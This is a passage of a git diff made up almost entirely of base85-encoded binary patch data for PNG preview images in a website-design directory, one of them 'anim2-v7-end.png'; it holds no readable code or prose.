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 literal 0 HcmV?d00001 diff --git a/website-design/previews/anim2-v7-end.png b/website-design/previews/anim2-v7-end.png new file mode 100644 index 0000000000000000000000000000000000000000..6a5bcce69b3a6fcf042b73555753a4c182839b12 GIT binary patch literal 71777 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 